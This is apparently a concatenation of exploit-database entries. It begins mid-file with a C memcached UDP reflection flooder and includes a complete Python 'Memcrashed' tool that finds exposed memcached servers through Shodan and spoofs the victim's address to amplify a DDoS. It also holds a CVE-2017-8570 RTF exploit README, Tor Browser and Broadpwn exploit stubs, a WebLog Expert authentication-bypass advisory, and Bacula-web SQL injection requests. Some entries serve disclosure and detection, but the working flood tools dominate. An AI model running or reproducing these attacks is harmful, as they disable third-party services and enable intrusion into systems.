	return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
	iph->id = htonl(54321);
	iph->frag_off = 0;
	iph->ttl = MAXTTL;
	iph->protocol = IPPROTO_UDP;
	iph->check = 0;
	iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
	udph->source = htons(5678);
	udph->dest = htons(11211);
	udph->check = 0;
	memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
	udph->len=htons(sizeof(struct udphdr) + 15);
}
void *flood(void *par1)
{
	struct thread_data *td = (struct thread_data *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
	struct sockaddr_in sin = td->sin;
	struct  list *list_node = td->list_node;
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if(s < 0){
	fprintf(stderr, "Could not open raw socket.\n");
	exit(-1);
	}
	init_rand(time(NULL));
	memset(datagram, 0, MAX_PACKET_SIZE);
	setup_ip_header(iph);
	setup_udp_header(udph);
	udph->source = htons(rand() % 65535 - 1026);
	iph->saddr = sin.sin_addr.s_addr;
	iph->daddr = list_node->data.sin_addr.s_addr;
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	int tmp = 1;
	const int *val = &tmp;
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
	exit(-1);
	}
	init_rand(time(NULL));
	register unsigned int i;
	i = 0;
	while(1){
		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
		list_node = list_node->next;
		iph->daddr = list_node->data.sin_addr.s_addr;
		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
		
		pps++;
		if(i >= limiter)
		{
			i = 0;
			usleep(sleeptime);
		}
		i++;
	}
}
int main(int argc, char *argv[ ])
{
	if(argc < 6){
	fprintf(stderr, "Invalid parameters!\n");
	fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
		exit(-1);
	}
	srand(time(NULL));
	int i = 0;
	head = NULL;
	fprintf(stdout, "Setting up sockets...\n");
	int max_len = 128;
	char *buffer = (char *) malloc(max_len);
	buffer = memset(buffer, 0x00, max_len);
	int num_threads = atoi(argv[4]);
	int maxpps = atoi(argv[5]);
	limiter = 0;
	pps = 0;
	int multiplier = 20;
	FILE *list_fd = fopen(argv[3],  "r");
	while (fgets(buffer, max_len, list_fd) != NULL) {
		if ((buffer[strlen(buffer) - 1] == '\n') ||
				(buffer[strlen(buffer) - 1] == '\r')) {
			buffer[strlen(buffer) - 1] = 0x00;
			if(head == NULL)
			{
				head = (struct list *)malloc(sizeof(struct list));
				bzero(&head->data, sizeof(head->data));
				head->data.sin_addr.s_addr=inet_addr(buffer);
				head->next = head;
				head->prev = head;
			} else {
				struct list *new_node = (struct list *)malloc(sizeof(struct list));
				memset(new_node, 0x00, sizeof(struct list));
				new_node->data.sin_addr.s_addr=inet_addr(buffer);
				new_node->prev = head;
				new_node->next = head->next;
				head->next = new_node;
			}
			i++;
		} else {
			continue;
		}
	}
	struct list *current = head->next;
	pthread_t thread[num_threads];
	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	struct thread_data td[num_threads];
	for(i = 0;i<num_threads;i++){
		td[i].thread_id = i;
		td[i].sin= sin;
		td[i].list_node = current;
		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
	}
	fprintf(stdout, "Starting flood...\n");
	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
	{
		usleep((1000/multiplier)*1000);
		if((pps*multiplier) > maxpps)
		{
			if(1 > limiter)
			{
				sleeptime+=100;
			} else {
				limiter--;
			}
		} else {
			limiter++;
			if(sleeptime > 25)
			{
				sleeptime-=25;
			} else {
				sleeptime = 0;
			}
		}
		pps = 0;
	}
	return 0;
}
            
## What?

This repo contains a Proof of Concept exploit for CVE-2017-8570, a.k.a the "Composite Moniker" vulnerability. This demonstrates using the Packager.dll trick to drop an sct file into the %TEMP% directory, and then execute it using the primitive that the vulnerability provides.

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44263.zip

## Why?

A few reasons.

1. I wanted to see if it was possible to use the [Packager.dll file-dropping trick](https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/) to exploit this vulnerability.
2. As far as I'm aware, all other public exploits for CVE-2017-8570 are actually exploiting the "Script Moniker" variant of CVE-2017-0199 and are not actually composite moniker exploits.
3. Raise awareness of exploitation techniques used in the wild, and help defenders to detect exploitation attempts.

## How to run

Simply run the script, providing an Sct file to execute, and an output name for your RTF file:

    python packager_composite_moniker.py -s calc.sct -o example.rtf
    [+] RTF file written to: example.rtf


## Detection

I have included a Yara rule to detect attempts to exploit this vulnerability via RTF.

## References

- https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
- https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570
            
#-- coding: utf8 --
#!/usr/bin/python
# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44265.zip

import sys, os, time, shodan
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager

starttime=time.time()

@contextmanager
def suppress_stdout():
    with open(os.devnull, "w") as devnull:
        old_stdout = sys.stdout
        sys.stdout = devnull
        try:  
            yield
        finally:
            sys.stdout = old_stdout

class color:
    HEADER = '\033[0m'

keys = Path("./api.txt")
logo = color.HEADER + '''

   ███╗   ███╗███████╗███╗   ███╗ ██████╗██████╗  █████╗ ███████╗██╗  ██╗███████╗██████╗ 
   ████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║  ██║██╔════╝██╔══██╗
   ██╔████╔██║█████╗  ██╔████╔██║██║     ██████╔╝███████║███████╗███████║█████╗  ██║  ██║
   ██║╚██╔╝██║██╔══╝  ██║╚██╔╝██║██║     ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝  ██║  ██║
   ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║  ██║██║  ██║███████║██║  ██║███████╗██████╔╝
   ╚═╝     ╚═╝╚══════╝╚═╝     ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝╚═════╝ 

                                        Author: @037
                                        Version: 3.1

####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable  |
| memcached servers. It then allows you to use the same servers to launch widespread      |
| distributed denial of service attacks by forging UDP packets sourced to your victim.    |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly.   |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
                                                                                      
'''
print(logo)

if keys.is_file():
    with open('api.txt', 'r') as file:
        SHODAN_API_KEY=file.readlines()
else:
    file = open('api.txt', 'w')
    SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
    file.write(SHODAN_API_KEY)
    print('[~] File written: ./api.txt')
    file.close()

while True:
    api = shodan.Shodan(SHODAN_API_KEY)
    print('')
    try:
        myresults = Path("./bots.txt")
        query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
        if query.startswith('y'):
            print('')
            print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
            results = api.search('product:"Memcached" port:11211')
            print('[✓] API Key Authentication: SUCCESS')
            print('[~] Number of bots: %s' % results['total'])
            print('')
            saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
            if saveresult.startswith('y'):
                file2 = open('bots.txt', 'a')
                for result in results['matches']:
                    file2.write(result['ip_str'] + "\n")
                print('[~] File written: ./bots.txt')
                print('')
                file2.close()
        saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
        if myresults.is_file():
            if saveme.startswith('y'):
                ip_arrayn = []
                with open('bots.txt') as my_file:
                    for line in my_file:
                        ip_arrayn.append(line)
                ip_array = [s.rstrip() for s in ip_arrayn]
        else:
            print('')
            print('[✘] Error: No bots stored locally, bots.txt file not found!')
            print('')
        if saveme.startswith('y') or query.startswith('y'):
            print('')
            target = input("[▸] Enter target IP address: ")
            power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
            data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
            print('')
            if query.startswith('y'):
                iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
                if iplist.startswith('y'):
                    print('')
                    counter= int(0)
                    for result in results['matches']:
                        host = api.host('%s' % result['ip_str'])
                        counter=counter+1
                        print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
                        time.sleep(2.0 - ((time.time() - starttime) % 2.0))
            if saveme.startswith('y'):
                iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
                if iplistlocal.startswith('y'):
                    print('')
                    counter= int(0)
                    for x in ip_array:
                        host = api.host('%s' % x)
                        counter=counter+1
                        print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
                        time.sleep(2.0 - ((time.time() - starttime) % 2.0))
            print('')
            engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
            if engage.startswith('y'):
                if saveme.startswith('y'):
                    for i in ip_array:
                        if power>1:
                            print('[+] Sending %d forged UDP packets to: %s' % (power, i))
                            with suppress_stdout():
                                send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
                        elif power==1:
                            print('[+] Sending 1 forged UDP packet to: %s' % i)
                            with suppress_stdout():
                                send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
                else:
                    for result in results['matches']:
                        if power>1:
                            print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
                            with suppress_stdout():
                                send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
                        elif power==1:
                            print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
                            with suppress_stdout():
                                send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
                print('')
                print('[•] Task complete! Exiting Platform. Have a wonderful day.')
                break
            else:
                print('')
                print('[✘] Error: %s not engaged!' % target)
                print('[~] Restarting Platform! Please wait.')
                print('')
        else:
            print('')
            print('[✘] Error: No bots stored locally or remotely on Shodan!')
            print('[~] Restarting Platform! Please wait.')
            print('')

    except shodan.APIError as e:
            print('[✘] Error: %s' % e)
            option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
            if option.startswith('y'):
                file = open('api.txt', 'w')
                SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
                file.write(SHODAN_API_KEY)
                print('[~] File written: ./api.txt')
                file.close()
                print('[~] Restarting Platform! Please wait.')
                print('')
            else:
                print('')
                print('[•] Exiting Platform. Have a wonderful day.')
                break
            
# TOR Browser 0day : JavaScript Exploit !
## Works on Firefox versions 41 - 50
### The critical vulnerability is believed to affect multiple Windows versions of the open source Firefox web browser as far back as Firefox version 41, and up to Firefox version 50. When exploit opened by a Firefox or Tor Browser with Javascript enabled on a Windows computer, it leverage a memory corruption vulnerability in the background to make direct calls to kernel32.dll, which allows malicious code to be executed on computers running Windows.
<i>Makes redirect to '/member.php' after code execution</i>

- - -

This is an Javascript exploit actively used against TorBrowser NOW. It consists of one HTML and one CSS file, both pasted below and also de-obscured. The exact functionality is unknown but it's getting access to "VirtualAlloc" in "kernel32.dll" and goes from there. Please fix ASAP. I had to break the "thecode" line in two in order to post, remove ' + ' in the middle to restore it. - SIGAINT



Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44267.zip
            
This Exploit allows arbitrary memory writes and reads. Running the specified payload within this package will write to the device's main CPU kernel, causing it to crash. More information about its origins here: http://boosterok.com/blog/broadpwn2/

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44268.zip

            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-AUTHENTICATION-BYPASS.txt
[+] ISR: Apparition Security          
 

Vendor:
========
www.weblogexpert.com


Product:
========
WebLog Expert Web Server Enterprise v9.4

WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.



Vulnerability Type:
===================
Authentication Bypass



CVE Reference:
==============
CVE-2018-7581



Security Issue:
================
The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.

A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.

e.g.

C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C         
                                                      BUILTIN\Administrators:(ID)C
                                                      NT AUTHORITY\SYSTEM:(ID)F
                                                      BUILTIN\Administrators:(ID)F


Exploit/POC:
=============
Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext password as follows.

[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1

Now login in as Admin! :)



Network Access:
===============
Local



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: March 1, 2018
No replies from previous attempts
March 7, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
# Exploit Title: Multiple SQL injection vulnerabilities in Bacula-Web
# Date: 2018-03-07
# Software Link: http://bacula-web.org/
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2017-15367
# Category: webapps

1. Description

Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection
vulnerabilities that could allow an attacker to access the Bacula database
and, depending on configuration, escalate privileges on the server.

2. Proofs of Concept

2.1) The /jobs.php script is affected by a SQL Injection vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
HTTP/1.1

Response:
HTTP/1.1 200 OK
[...]
            <td>5.7.19-0ubuntu0.16.04.1</td>
            <td class="text-left">
             backupjob-report.php?backupjob_name=
[...]

Other parameters (eg. client_id) are also vulnerable, since there is no
protection against SQL Injections at all.

2.2) The /backupjob-report.php script is affected by a SQL Injection
vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23

2.3) The /client-report.php is affected by a SQL Injection vulnerability in
the "client_id" parameter.

3. Solution:

Update to version 8.0.0-RC2
http://bacula-web.org/news-reader/bacula-web-8-0-0-rc2-released.html